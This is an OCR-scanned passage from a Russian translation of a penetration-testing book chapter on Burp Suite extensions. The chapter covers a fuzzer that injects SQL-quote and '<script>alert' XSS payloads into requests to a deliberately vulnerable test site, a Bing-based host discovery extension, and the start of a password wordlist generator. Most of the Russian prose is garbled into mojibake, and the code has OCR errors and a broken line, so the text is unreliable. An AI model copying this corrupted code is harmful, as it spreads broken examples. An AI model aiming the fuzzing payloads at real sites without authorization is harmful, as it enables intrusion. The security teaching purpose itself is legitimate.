CRC unm mosis ¢ AIMHOT 3a1mpoca), TO BCe 9TU BBIYUCTIEHUS MOKHO BBITIOJTHUTH



128 Fnaea 6. Pacwmpenme npokcu Burp Proxy

BHYTPH JAHHOTO METOZA U 3aTeM BepHYTh pe3yJbrar. lo6aBbTe CIeayIONnil KO
B KJ1acc BHPFuzzer BHYTpPH (aiiia bhp_fuzzer.py:

def mutate_payload(self,original_payload):
# Bbibupaem npocToil meTosd daszuHra (MOXHO Aaxe Bbi3BaTb BHEWHUA CKPUMT)
picker = random.randint(1,3)

# BblGMpaeMm ciy4vailHOe cMeleHWe B MOAUGULMPYEMOM COLEPKMMOM
offset = random.randint(@,len(original_payload)-1)

front, back = original_payload[:offset], original_payload[offset:] ©

# nblITaemcA BHeapuTb SQL-KOA4 CO CAy4YaiHbIM CMelWeHuem
if picker == 1:
front += "'" @

# B npuaady K 3TOMy npearnpuHUMaem MonblTKy XSS-aTaku
elif picker == 2:
front += "<script>alert('BHP!");</script>" ©

# nybnupyem cny4daiHbliii pparMeHT MCXOAHOTO COAEPXKMMOTO
elif picker ==
chunk_length = random.randint(@, len(back)-1) @
repeater = random.randint(1, 10)
for _ in range(repeater):
front += original_payload[:offset + chunk_length]

return front + back ©

BHauasie MbI IeJIUM €T0 coAepsKUMOoe Ha jiBa GJIoKa cydailHOW JTiHbI, front
u back @. 3ateM ciydaiiHO BHIOMpAEM OIMH U3 TPEX METOIOB (ha33nHra: MpoCToe
BHezpenne SQL-Koza, KOTOpoe B IAHHOM CJIy4ae BbIPaKaeTcsl B JOOABICHUN O/IH-
HapHOW KaBBIYKHU B KOHeI OT0Ka front @, MeKCANTOBBIN CKPUIITHHT (Cross-site
scripting, XSS) ¢ go6Gasnennem tera script B korer| 6j10ka front © u eie oauH
METO/I, KOTOPBI COCTOUT B BEIOOPE CIIYIAIHOTO y4aCTKA U3 HCXOIHOTO COMEPIKIMO-
T'0, CO3/IAaHNH CITyYailHOTO KOJIMYECTBA €T0 KON 1 100aBJI€HUHN Pe3yJibraTa B KOHEIl
6s10ka front @. 3arem nprbaBJsieM 0JI0K back K MOIM(DUITMPOBAHHON Bepcun front
U TTOJTy9aeM TOTOBOE BUIOM3MeHEHHOe coziepskmmoe @. VTak, Mbl Hammcaan pac-
mupenue A Burp Intruder, roroBoe k npumenenuio. JlaBaiite ocMOTpUM, Kak
€T0 3aTrPYy3UTh.

MpoBepka HanucaHHOro

CHavajia Mbl JIOJKHBI 3aTPY3UTDh pacliiperue U yOeauThCst B TOM, 4TO OHO He
COEPKUT HUKakuX ombok. Ilepeiiaure Ha BKiaaky Extender (Paciupuresn)
B Burp u nHaskmute kuomy Add (Jlo6aButh). Jlo/KHA TIOSIBUTHCS TTAHEJTb, TI03BO-
JIAIOTASA YKa3aTh My Th K (ha33epy. Bamm mapaMeTpsl IOKHBI BBITJISAETD TaK, Kak
MmoKasaHo Ha puc. 6.3.
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Load Burp Extension - o x

Please enter the details of the extension, and how vou would like to handle standard output and error.
Extension Details

Extension type: Python |w
Extension file (.py): |/homeftim/bhp/bhp/chap/bhp_fuzzer.py | [ Select file ... |

Standard Output

() Output to system console

O Save to file: | [ selectfile.. |

@ Showinul

Standard Error

(O Output to system console

O Save to file: | [ selectfile.. |

@® Showinul

(o (s

Puc. 6.3. Moarotoeka Burp k sarpyske paclmperms

[Tocsie naskatna knomkn Next (Jlasbiie) 1ossKkHa HauaThCSA 3arpy3Ka pacinpeHus.
Ecii BozHuK/ M omOKH, Tiepeiianre Ha BKIaAKy Errors (OmubKm), HaiiauTe Bee
OTIeYaTKH, €CJT OHM ecTh, N HaxkmuTe Close (3akpwiTh). Barmra Bkrazka Extender
(PacmupuTenb) 10KHA BBITJISIIETD TaK, KaK HA puc. 6.4.

Kax BuamTe, Hate pacimupenne 3arpy3unaoch n miaatdopma Burp naeatuduim-
poBaJia 3aperuCTPUPOBAHHBIN reHepaTop comeps:kumMoro st Intruder. Terepb Mbr
rOTOBbI IPUMEHUTD €r0 B HacTosllled aTake. Ykaxute Burp Proxy B kauectBe
IIPOKCHU-cepBepa B cBoeM Gpaysepe ¢ agpecoM localhost u moprom 8080. Jasaiire
aTakyeM BeO-Tipuiioskenne Acunetix, pacceMorpenHoe B riiase 5. [Tpocto otkpoiite
aznpec http://testphp.vulnweb.com/.

B kadecTBe mpuMepa aBTOPBI UCIHOJIB30BAIN HEOOBIIIOE TI0JI€ BBOJIa HA CBOEM
caiiTe, OTIIPABUB C €T0 ITIOMOIIBIO IIOMCKOBBII 3a1poc "test". Ha puc. 6.5 nmokasaso,
KaK 3TOT 3aIlpOC BBITJISAUT Ha BKJaike HTTP history (Mctopust HTTP) mento Proxy
(TIpokcm). IlenkHuUTE Ha 3aIIPOCE TIPABON KHOITKO# MBIIITH, YTOOBI OTIIPABUTH €TI0
urcTpyMenty Intruder.
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Burp Suite Community Edition v2.

Burp Project Intruder Repeater Window Help
lnmbmdlmwlh-mIlmlw]m—:ulmlmlmlmwnlmm]

Burp Extensions @
let you ize Burp" using your own of third-party code.
[ add | [Loaded  [Type | Hama
€] Python bhp_fumer.py

(@ Extension loaded @

Mame: | bhp_fuer.py

[ torm | Detail |
Extension type Pythan
Filename fhomapimbhpbhp/chaptbhp_fu=erpy
Mathod rogisterExtandarCal lbacks.
Intruder payload generators 1

Puc. 6.4. Burp Extender nokassiBaeT, 4to pacwmpeHue sarpyxeHo

Burp Suite Community Edition v2.1.04 - Temporary Proj

Burp Project Intruder Repeater Window Help

[ Dashboard | Taraet | srany [ intruder | Repeater | sequencer | Deceder | comparer | extendar | Project options | user eptions |
[ assessns | Hrve vistory | websockets history | options |

£ Regquast to httpu/testphp.vulnweb.com:80 [176.28.30.163)

[ Foward | [ orop | [[inteception | [ action | | comr 0 16)
JMIParlm [ Hoaders | Hes |
POST jzearch.phpltest=guery HTTP/1.1 ]
Host: testphp.vulmeeb.cem Send to Repaater Cri+R =
User-Agent: Mozilla/5.0 (X11; Linux x06_63; rv:60.0) Send to Sequencer
Accept: text/h Lication/xhtlexsl,application/]  Serd to Comparer
Accept-Languag L I
Accept-Encodin . deflate Swed by Crwconder
Referer: http://testphp vulmeb. com/ Reauest in browser [
Content-Type: applicationsx-was-form-urlenceded T =
Content-Length: 26
Connection: close Changa requast maethed
Upgrade-Insecurs-Requests: 1 Changa body sncoding

Copy URL
searchFurstes tgulul Lunsga ol SRR

Cepy te file

Paste from file

Save item

Bon't infercept requedts »

Do intercept L

Convert zelection 3

URL-gnceds as you type

e

Copy

Paste

Mezsage sditor documentation

Proxy interception documentation

e
v

o @@ E frme s

Puc. 6.5. Buibop HTTP-sanpoca ans otnpaeku e Intruder
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Temeps mepetlinute Ha BKAAAKY Intruder u mmeakauTe Ha BKJIaaKe Positions (I1o-
3unun ). JloJkHA TOSBUTHCS MTaHE b, HA KOTOPOU BbIJIEJIEH KasK/IbIN TTapaMeTp 3a-
npoca. Takum o6pasom Burp orpesiesisier yaacTku, KOTOPbIE CIIeyeT MOIupUIINPO-
BaTh. MoskeTe monpoboBaTh HEPEABUHYTh X IPAHUIIbI WJIH JasKe MOAU(DHUIINPOBAT
COZIEP:KUMOE TIEJTUKOM, €CJIM BaM TaK X0UeTcs, HO TTOKa 9TO MycTh Burp pemut 3a
Hac, rjie J0JIKeH IPOUCXoAnuTh has3unr. YToObl BaM ObLIO TIOHATHEE, B3MJISTHUTE
Ha puc. 6.6, Ha KOTOPOM TIOKa3aHO, KaK BBIIEJISIETCS TI0JIE3HOE COIEPKUMOE,

Burp Suite Community Edition v2.1.04 - Temporary Project
Burp Project Intruder Repeater Window Help

|mnmm Target | Proxy | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | user options |
[ )
(o J i [ o Y e |

(@ payload Positions
Canfigure the positions wh 45 will ba inserted inte the base request. The attack bype detarminas tha way in which payloads are
assigned to payload positions - see help for full details.
Attack type: [ Sniper |¥)
POST /search.php?test=fquery§ HTTP/1.1 &
Host: testphp.vulmweb. cos -
User-Agent: Mozilla/5.0 (X11; Linux x86_84; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html, application/xhtal+xsl spplication/xsl;q=0.9,"/";q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb. cos/
Content-Type: application/, form-url ded
Content-Length: 26

Connection: close
Upgrade-Insecurs-Requests: 1

@ B B [Ty.oe a search term 0 matches

3 payload pasitions Length: 475

j

Puc. 6.6. MapameTpbl coaep>xMmoro, BeifgenieHHble MHCTpyMeHToMm Burp Intruder

Temeps mepetinute Ha BKAaAKy Payloads (Ilonesnoe comepskmmoe). Haxonsace na
ATOM TaHeJ!, METKHUTE Ha PAaCKPBIBAIOIIEMCs crircKe Payload type (Turtr mosesnoro
COZIEPKIMOTO) U BbiOepuTe Extension-generated (CreHeprupoBaHHOE paciiipeHue ).
B pasnene Payload Options (I1apameTpsl T1071€3HOTO COIEPAKUMOT0 ) HAKMUTE KHOTIKY
Select generator (Boibparh rerepaTop) U BbIOEPUTE B PACKPLIBAIOLIEMCS CIIUCKE
BHP Payload Generator. Barmra manens Payloads (IlosiesHoe comep:kmmoe) m10omKHA
BBITJISAZIETD TaK, Kak Ha puc. 6.7.
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Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help

IDMIWIPMX]{ [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender [ Project options | User options |
[~ Jawsl -

(o ] rosins ] roionte [ ootios |

(@ Payload Sets r‘\

You can define one or more payload sets. The number of payload sets depends an the attack type defined in the Pasitions tab. Various
payload types are available for each payload set. and each payload type can be customized in different ways.

Payload set- [ 1 [ Payload count: unknawn

Payload type: | Extension-generated | v Request count unknown

@ Payload Options [Extension-generated]
This paylead type invekes a Burp extension to generate payloads.

£

ected BHP Payload

Select generator ...

(@ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add

Enabled | Rule

v

Puc. 6.7. UcnonbsoeaHue pacwmpeHms ans GA33MHIa B KAYECTBE
reHeparopa coaepXmMmoro

Terepb MbI TOTOBBI K TOMY, 4TOOBI TIOCIATh 3a1ipoc. B BepxHeil uactu memio Burp
mesikHuTe Ha Intruder u BoiGepuTe Start Attack (Hauats ataky). Ilmardopma Burp
JIOJIKHA HAYaTh OTIIPABKY MOJMMUIIMPOBAHHBIX 3aIIPOCOB, K BCKOPE Y BAC TTOSBUT-
Cs1 BO3MOXKHOCTD O3HAKOMUTbBCS € pe3yJibTaTaMi. 3aiycTuB 3TOT (aszep, aBTOPbL
HOJIyYHJIM BBIBOJL, TOKa3aHHBIN Ha puc. 6.8.

B oTtBete 7 mokasano npexynpexienne, BeIIeICHHOE KUPHBIM NTPUGTOM, CBH/IE-
TEJIbCTBYIOIIEE O TOM, YTO MBI, CY/ISI 110 BCeMY, 0OHAPY/KUJIN ySI3BUMOCTD K BHEJ[-
penuto SQL-kozna.

ItoT (haszep ObLI co3MaH CyTryOO B AEMOHCTPAIMOHHBIX 1eJIsIX, HO Bac, HABEPHOE,
YIUBUT TO, HACKOJIBKO 3(h(HEKTUBHO OH MOKET ITPOBOIMPOBATH BEO-TTPHUIIOKEHST
Ha BBIBOJI OIIMOOK, PACKPBITHE MCIIOJNb3YEMBIX MU TTyTEH MU JEMOHCTPAIIAIO
MOBeJIEHNUs], KOTOPOE MOTYT YIIYCTUTh MHOTHE JIPyTHe CKaHepbl. BaskHee Bcero To,
YTO HAM y/IaJI0Ch TIPUMEHUTH COOCTBEHHOE pacliMpeHue B aTake ¢ OMOIIbI0 Burp
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Intruder. Terepp HamuIeM paciIuperre, KOTOPOE TIOMOXKET cOOPaTh MOTOJTHK-
TeJIbHbIE CBEJIEHMSI O BeG-cepBepe.

Intruder attack 1 - B x
Attack Save Columns
| [ esuits | Target | Positions | Payloads [ options |
[r.‘h..—. Shawing all items |®-
Request 4| Position | Payload | Status | Eror | Timeout | Length | comment
o 200 ] O 4% [a]
1 1 quer'y 200 a a 5075 ™
2 1 quer'y 200 (0] a 5075
3 1 quequerquerry 200 a 0O  asss
4 1 que'ry 200 3] O  sors
5 1 qescriptralert'BHPY): <jseript . 200 ] O sors
[ 1 quequequequequequequery 200 a [
] 1 [ que'ry | z00 g O  sors
8 1 querquerquerquerquerquerquer... 200 a [m] 4958
9 1 query 200 8] O  sors
10 1 qquerquerqueruery 200 a a 4958
1 2 te<script=alert{'BHPI'):</scrip... 200 (0] (] 4389
12 2 ttetatatatetatatatanst 200 a a 4976
13 2 te'st 200 (] O  4s59
14 2 te<scriptalect{"BHPI):</scrip... 200 (] (0] 4989 r
15 2 bart 200 (m | (m Ansn 1)
pre
Raw | Headers | Hex | HTML | Render
<l-. InstanceSeginEditable name="content_rgn® --> i
<div id=*content*>
Warning: mysql_fetch_array() expects paraseter 1 to be resource, boolean given in /hj/var/www/search.php on Line 61
<h2 id='pageNase'>searched for: test</hi»</div>
=!-- InstanceEndEditable -->
<!--end content --> IL
@ E B Type & search tarm ] 0 matches

Puc. 6.8. Qassep, yuacteylowmii B atake, koTopyto BeinonHseT Intruder

UcnonbsoBaHne Bing B coueTtaHum ¢ Burp

Hepenko GbiBaeT Tak, 4To OAMH BeO-cepBep 00CHYKUBAET HECKOJBKO BeO-
TPIJIOJKEH I, 9aCTh 13 KOTOPBIX MOTYT OBITh BAM Hen3BeCTHBI. [pr atake Ha cepBep
crapaiitech HaiiT JII0ObIe IPyTHe ceTeBble MMEeHa, KOTOPbIE OH 3aIeHCTBYET, TaK KaK
OHU, BO3MOKHO, TIO3BOJIST BaM MOJIYYHUTh JOCTYI K KOMaHHOU 060Js0uKe GoJiee
npocThiM myTeM. JacTo GbIBaeT Tak, 4TO Ha KOMITBIOTEPE, KOTOPbIil BbI aTaKyeTe,
HAXOATCS He3aIIUIIEHHbIE BeO-IIPUIOKEHUS WU JAXKe pecypcsl 1A paspaboTKL.
¥ nounckoBoii cucrembr Bing ot Microsoft ectb BOBMOKHOCTH, KOTOPbIE TIO3BOJISIFOT
HOJIYYUTh BCe HallIeHHbIE €10 BeO-callThl, NMeIoIIe OMiH 1 TOT ske IP-axpec. st
3TOTO TIPELYCMOTPEH TTOMCKOBBINA MoaudukaTop IP. Bing Takske MoKeT 1TOKa3aTh
BCe TIO/JIOMEHbI 33IAHHOTO JIOMEHA, €CJIN YKA3aTh IIOUCKOBbIN MOIMbUKATOP domain.

Mol Morin GbI BOCIIOJIB30BaThCsI BEO-CKPeiiepoM, 4ToObI IiepeaTh 9T 3aIpo-
col B Bing u 3atem mosryunts pesysbratsl B hopmare HTML, HO 910 6110 GBI
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JYPHBIM TOHOM (M K TOMY K€ HapylieHueM YCJIOBHiT IpUMeHeHMs OOJIbIITMHCTBA
MOUCKOBBIX cucTeM). UToOb n30€KaTh HEIPUSTHOCTEN, OTITPABUM 9TH 3AIIPOCHI
porpaMMHBIM 00paszoMm ¢ romoribio Bing API u npoanaiusupyeM pesyJibraTbl
caMoCTOSITENTbHO (YTOOBI OJTY4nTh GeciraTHbiil Kiarou 1t Bing API, ocerute
cTpaHUITy https://www.microsoft.com/en-us/bing/apis/bing-web-search-api/). B atom
paciImpeHnn Mbl He CTAHEM PEATU30BBIBATH HUKAKUX BBITYPHBIX 2JIEMEHTOB TPa-
(huaeckoro nnrepdetica Burp, ecim He cunTaTh KOHTEKCTHOTO MEHIO, — TIPOCTO
Oy1eM BBIBOJUTD PE3YJIBTAaThl B KOHCOJIb Burp 1pu BBITTOJHEHNH KK /[0TO 3aIPO-
ca, a JiroObie oOHapyskennbie URL-aapeca GyayT aBToMaTHYeCKU 00aBIISTHCS
B 11eJIeBY10 061acTh Burp.

Mbl yzke obcyskaanm, Kak obpamarbes ¢ fokymenraiueit API Burp u nepeBoauth
ee B KoJI Ha si3bike Python, mosTomy cpasdy mpuCTYIIUM K MPOrpaMMHUPOBAHUIO.
Cospaiite daiin bhp_bing.py u HabepuTe cieryoniee:

from burp import IBurpExtender
from burp import IContextMenuFactory

from java.net import URL

from java.util import Arraylist
from javax.swing import JIMenuItem
from thread import start_new_thread

import json

import socket

import urllib

API_KEY = "BAlWl_K/WY" @

API_HOST = 'api.cognitive.microsoft.com’

class BurpExtender(IBurpExtender, IContextMenuFactory): @
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self.context = None

# noaroTaB/MBaeM Hawe pacwupeHue
callbacks.setExtensionName("BHP Bing")
callbacks.registerContextMenuFactory(self) ©

return

def createMenuItems(self, context_menu):
self.context = context_menu
menu_list = ArrayList()
menu_list.add(JIMenuItem(®
"Send to Bing", actionPerformed=self.bing_menu))
return menu_list



McnonbsosaHne Bing B couetanun c Burp 135

ITO 1epBast YacTh pacimpenus s paborsl ¢ Bing. He 3abyibre mmoactaBuTh CBOI
ko4 17151 Bing API B @. Y Bac ecTh BO3MOKHOCTH BITOIHATH 1000 GecrmaTHbIX
3aIpOCOB B MeCHIIL. Mbl HauMHAEM C KJacca BurpExtender e, peain3yIouero
cranzaptabie nHTepdeiicsl IBurpExtender n IContextMenuFactory, mocjaeHUN
[IO3BOJIUT HAM [TOKa3bIBaTh KOHTEKCTHOE MEHIO TIPU IIeJTUKe [PABOil KiaBuIlei
MBIIIN Ha 3arpoce B Burp. 91o Menio Oyzer comepskarh myHKT Send to Bing (OT-
npasuTh B Bing). MbI peructpupyem o6paboTuk ©, KoTopblil OyIeT OIpe/esiTh,
Ha KaKOM caiiTe IeJKHYJI T0Jb30BaTEh, TO3BOJIAS HaM (POPMHUPOBATH 3aITPOCHI
K Bing. 3aTem MbI co31aeM MeTOJL createMenultem, KOTOPBIN MPUHUMAET OOBEKT
IContextMenuInvocation 1 ompesesisieT ¢ ero momotibio, kakoir HTTP-3amnpoc BbI-
6paut mosib3oBaTe b, Harmocietok Mbl 0ToOOpaskaeM MyHKT MEHIO U 06pabaThiBaeM
COOBITHE TIETYKA € TIOMOIIBLIO MeTo/1a bing menu @.

Tereps faBaiite BBITOJTHAM 3a1Tpoc K Bing, BeIBeIeM pe3yJibraThl 1 100aBUM JIF0ObIE
obHapy KeHHbIE BUPTYaJIbHbIE XOCTHI B 1IeJIeBY10 001acTh Burp:

def bing_menu(self,event):

# n3BneKaem noApo6HOCTM O TOM, MO Yemy WesKHY/N MNosb3oBaTesb
http_traffic = self.context.getSelectedMessages() ©

print("%d requests highlighted" % len(http_traffic))

for traffic in http_traffic:
http_service = traffic.getHttpService()
host = http_service.getHost()

print("User selected host: %s" % host)
self.bing_search(host)

return

def bing_search(self,host):
# nposepAem, 4YTO Ham nepepanun: IP wau cetesBoe umMA
try:
is_ip = bool(socket.inet_aton(host)) ®
except socket.error:
is_ip = False

if is_ip:
ip_address = host
domain = False
else:
ip_address = socket.gethostbyname(host)
domain = True

start_new_thread(self.bing_query, ('ip:%s' % ip_address,)) ©

if domain:
start_new_thread(self.bing_query, ('domain:%s' % host,)) O
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Mertoz bing_menu cpaGaTbIBaet, KOrjia 1oJb30BaTe b IeJIKaeT Ha IMyHKTe KOH-
TEKCTHOTO MEHIO, KOTOPbIN MblI onipeziesinin. Mbl usBjiekaem BbijiesieHHbie HTTP-
3anpochl @, 3aTeM IOJIyuyaeM ajipec cepBepa KaxK/0To U3 HUX U IepPelaeM ero
MeTo/ty bing_search st pasbHeiinieit o6paboTkn. Mertos bing_search cHadasa
OIIPEJIETISIET, UTO MpeCTaBsieT coboi aapec cepBepa — IP wim cereBoe nms @,
[Tocsre aToro on nmet B Bing Bce BupTyasnbHbie XocThI ¢ TeM ke [P-anpecom ©,
YTO Uy 33JIlaHHOTO cepBepa. Ecyim Hatlle pacimpenne Takxke MoJIydnio TOMEeHHOe
UMSI, Mbl JOHMOJHUTENBHO UIEM JI00bIe TOAJ0MEHbI, KOTOPbIe MOTJIM HONACTh
B uHjiekc Bing @.

Tenepb HanuIeM OU3HEC-TOTHUKY, HEOOXOAUMYIO JIJIsI OTIPABKHU 3aIIPOCOB CUCTEME
Bing u pas6opa pesyibraTos ¢ momoinbio HTTP API us cocrasa Burp. /lo6asbre
B KJlacc BurpExtender CJIez[yIOHLI/If/'I KO

def bing_query(self,bing_query_string):
print('Performing Bing search: %s' % bing_query_string)
http_request = "GET https://%s/bing/v7.0/search?' % API_HOST
# Koaupyem Haw 3anpoc
http_request += 'q=%s HTTP/1.1\r\n' % urllib.quote(bing_query_string)
http_request += 'Host: %s\r\n' % API_HOST
http_request += 'Connection:close\r\n'
http_request += 'Ocp-Apim-Subscription-Key: %s\r\n' % API_KEY ©
http_request += 'User-Agent: Black Hat Python\r\n\r\n'

json_body = self._callbacks.makeHttpRequest(®
API_HOST, 443, True, http_request).tostring()
json_body = json_body.split('\r\n\r\n', 1)[1] ©

try:
response = json.loads(json_body) @
except (TypeError, ValueError) as err:
print('No results from Bing: %s' % err)
else:
sites = list()
if response.get('webPages'):
sites = response['webPages']['value']
if len(sites):
for site in sites:
print('*'*100) ©
print(‘Name: %s ' % site['name'])
print('URL: %s ' % site['url'])
print('Description: %r' % site['snippet'])
print('*'*100)

java_url = URL(site['url'])

if not self._callbacks.isInScope(java_url): O
print('Adding %s to Burp scope' % site['url'])
self. callbacks.includeInScope(java_url)
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else:
print('Empty response from Bing.: %s'
% bing_query_string)
return

HTTP API us cocrasa Burp tpebyer, uto6er HTTP-3anpoc nepes oTipasKoii ObL1
MOJTHOCTHIO C(HOPMHUPOBAH B BU/IE CTPOKH. Takike HY:KHO yKa3aTh Ko s Bing
API, utobn1 caenats API-soizoB @. ITocie atoro Mol nepegaem HTTP-3anpoc @
cepsepam Microsoft. ITpu BosBpalieHnu oTBeTa yOrpaeM U3 HEro 3aroJIOBKu ©
U TiepelaeM Bce OCTalabHOe CHHTaKcnueckomy anammsartopy JSON @. Tlpu 06-
paboTKe Kax10ro Habopa Pe3yJIibTaTOB Mbl BIBOAKM HEKOTOPBIE CBeleHust 00
obHapysKeHHOM caiite ©. Ecim aToT caliT oTcyTCTBYET B 11e/1eBoii oO6aact Burp @,
noGaBJIsIEM ero TyJIa.

Takum 06pas3oM, B HallleM pacuipenuu st Burp coderaorcest Jython APT u uu-
cThiii Kozt Ha Python. 910 10/KHO MOMOYB HAM COOPATD JAOMOJTHUTENBHYIO HH-
opmanmio ipu arake KOHKpeTHOH 1esn. IlocMoTpuM, 4TO y HAC MOJIYYUIOCH.

Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help
Filter: Hiding not found items; hiding CSS. image and general binary content: hiding 4xx responses; hiding empty folders @
*  hitpiidetectportal firefox.com | Methed | URL | Params | Status & | Length | M
hitp:ftastphp. com e - i CYERYY
. GET | [ http:jtestphp.vulnweb.com/ i
GET
Y
GET dd to scope
GET Scan [Pra version enly]
Irestphp vulnweb.c... GET Send to Intruder Ctri+l
Jtestphp vulrwebe . GET Send to Repeater ctril+R
itestphpvulnweb.c... GET
irestphp.vulrweb.c... GET $» o
ftestphpvulnwebc . GET Send to Comparer (request)
ttpoitestphp vulnweb.c.. GET Sand to Comparer (response)
Jjestphpvulrwebc..  GET Show response in browser L4
LS st P > T
Request | Resporce | | sedotie L |
toals [Pro 2 lyl >
Aaw | Heaers | Hex | Compare site maps
GET / HTTP/1.1 Add comment A
Host: testphp.vulnweb. com Highli > -
User-Agent: Mazilla/5.0 (X11: I#I# B.0
Accept: text/htal,application/ Dialabe e
Accept-Language: en-US,en;q=0.| Copy URL
Accept-Encoding: gzip, deflate Copy 35 curl command
Connection: close finks
Upgrade-Insecura-Requasts: 1 Copy |
Cache-Contrel: sax-age=0 Save item
Shaw naw site map windaw
Site map documentation
.
v
@ | = + > | |Tyee a search tem 0 matches

Puc. 6.9. HoBbil NyHKT MEHIO ANs UCMONb30BAHMS PACLIMPEHMS
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MpoBepka HANUCAHHOrO

Yro06bl 3aperucTpUpPOBaTh 9TO PaCIIUPEHNE, TPUAEPKUBAITECH TOM JKe ITPOIELYPHI,
KOTOPYIO MBI PEaJIN30BAJIH C paciperreM /i as3mara. Kora BeI ero 3arpysure,
OTKpOiiTe ajzipec http://testphp.vulnweb.com/ u 1iesIKHUTE TPABON KHOITKOW MBITITH
Ha oriipaBieHHoM GET-3anpoce. Ecoin paciipetine ObL10 3arpysKeHO KOPPEKTHO,
BBI JIOJIKHBI YBUETh HA 9KpaHe MMyHKT MeHIo Send to Bing (OTtmpasuts B Bing), kak
MmoKa3aHo Ha puc. 6.9.

[Tocsie BbIOOpA 9TOTO MyHKTA HA 9KPaHe 0JIKHBI HAYATh MOSIBJISITHCS PE3YIIHTAThI
ot Bing (puc. 6.10). Mndopmaiiusi, KOTOPYIO BbI MOJgy4nTe, OyI€T 3aBUCETH OT
BBIBOJIa, BBIOPAHHOTO MIPH 3arPy3Ke PACITHPEHUSI.

Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help

IDuhhurdInmanrax, ]nmiw[mu]mw[w]m[mmm]mm]
mm

Burp Extensions @

Extensions let you customize Burp's behavier using your own or third-party code.

[ add | [toaded  |Type | Hame
@ Python bhp_fu=sr.py

@ Pythen BHP Bing

Detailz | output | Errors

O Output to system conscle @

) Save to file:

@ Show in UI:

1 requests highlighted i
User selected host: testphp.vulmweb. cos

Performing Bing search: 1p:176.28.50.165

Performing Bing search: domain:testphp.vulnweb.com

Name: Home of Acunetix Art - welcome to our page

URL: http://testphp_vuloweb. cos/

Deseription: u'Warning: This is not a real shop.This is an exasple PHP application, which is intentionally vulnerable to web
attacks. It is intended to help you test Acunetix. It also helps you understand how developer errors and bad configuration
may let someone break into your website *

Adding http://testphp.vulmweb.con/ to Burp scope

Name: Acunetix Web Vulnerability Scanner - Test websites L

@ B B B Clear | | Type 3 search term : 0 matches

Puc. 6.10. PesynstaTel noucka ms Bing APl, npeaoctaeneHHble pacumpeHnem

Ecau BBl mepeiigere Ha Braaaky Target (Ilesb) u BoiGepere Scope (O6-
JIaCTb), TO OOJIKHBI YBUAETH HOBBIE 3JIEMEHTDI, aBTOMAaTUY€CKU I[O6aBJI€HHBIe
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B 11es1eBy10 obsactb (puc. 6.11). Ilenesast 061acTh OrpaHMYNBAET aTaKK, 0OXO/
BeO-CTPaHUIL ¥ CKAHUPOBaHUE, TaK YTOOBI OHU BBITTOJHSIJIUCH TOJBKO JIJIsT 3a-
JTAHHBIX XOCTOB.

Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help
|D-M|'rumt]pm-, Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |
 site map | Scope | issue definitions

(3 Target Scope
@ Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. The easiest way to configure scope is to
browse to your target and use the context menus in the site map to include or exclude URL paths.
0 use advanced scope control
Include in scope
[ add | [Enabled | Prefix |
] hitp/estphp vulnweb com/
[ edit @ bttt vulrweb, com/ |
& httpftesthtmis vulnweb com/
l Remave ] hittpo/ftest php. vulnweb comhppl | >
@ btbciirnlS vl ressh. 3 ohe
Paste URL @ hitpc/wsdtest2 vulnweb. gories php |
@ httpeifenee.gdS vulrweb.comicart php
e - |
Exclude from scope
[ add | [Enabled |Prefix |
|»
| Paste uRL |

Puc. 6.11. O6Hapy>XeHHbIe XOCTbI, ABTOMATHMYECKM AOBABIEHHbIE
B Uyenesylo obnacts Burp

Mopn6bop naponen Ha ocHoBe
cogep>xumoro Beb-canta

BesomacuocTh HEpEIKO CBOANTCS K OMHOW-eIUHCTBEHHOM BEITN — MaPOJIIO TTOJTb-
30BareJist. ITO MevYasibHo, HO (hakT. UTo elile XysKe, 04eHb 4aCTO OKa3bIBAETCSI, YTO
BeO-TIPUIIOKEHMS, 0COOEHHO HAIMCAHHbIE JIJII KOHKPETHOIO MIPOEKTa, CAUIIKOM
V2K 4acTo He OJIOKUPYIOT YYeTHBIE 3alKCH TI0JIb30BaTe el TIOCIe OIPEAEICHHOTO
KOJIMYECTBA HEYJAUHBIX TTOMBITOK BXO/A. A HEKOTOPbIe U3 HUX He 3aCTABJIAIOT
NPUMEHSITh HaJeKHbIe Mapoyid. B Takux curyalusx ceaHc rnojabopa mapodis,
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AHAJIOTUYHBII TOMY, KOTOPBII OBLIT OIMCAH B IPEABIAYIIEH IJIaBe, MOKET TIPUBECTH
K MTOJIYYE€HUIO IOCTYTIA K CANTY.

KimoueBbiM actieKToM mobopa mapoJieil siBIsieTCsT UCII0Ib30BAHIE TIOIXOISIIErO
cioBapd. Ecsu BBI criemnuTe, y Bac HET BO3MOKHOCTH 1poBeputTh 10 MiH mapo-
JIei, TI09TOMY BbI JIOJKHBI OBITH CIIOCOOHBI CO3/1aTh CITUCOK, OPUEHTUPOBAHHDII
Ha uHTepecyommuii caiit. Korneuno, 8 Kali Linux ectb CKpUIITBI, KOTOPbIE MOTYT
HPOUTHCH 110 BeO-CalTy ¥ CTeHEepUPOBaTh CJIOBaph Ha OCHOBE €ro coepskumoro. Ho
pa3 y’k MBI IpUMeHsdeM Burp /71 ckannpoBaHus, 3a4eM CJIaTh TOTIOTHUTETHHBIN
TpaduK JIUIIb 7151 TOTO, 4TOOBI CreHepUPOBaTh CIUCOK cJoB? K Tomy ke y aTnx
CKPUIITOB €CTh TPOMA/IHOE KOJINYECTBO aPTYMEHTOB KOMaH/IHOH CTPOKHU, KOTOPBIE
HY’KHO TOMHUTb. MBI, K TIPUMEPY, YiKe 3ayIUIU JOCTATOYHO apTyMEHTOB, YTOOBI
BIIEUATJIUTD JPY3€H, TOITOMY CO CIIOKOWHON JYIIOH MOKEM TEPEJOXKUTH BCIO
TsKeTyto paboty Ha Burp.

Cospaiite daiin bhp_wordlist.py u HabGepuTe caeAYIOIII KO

from burp import IBurpExtender
from burp import IContextMenuFactory

from java.util import Arraylist
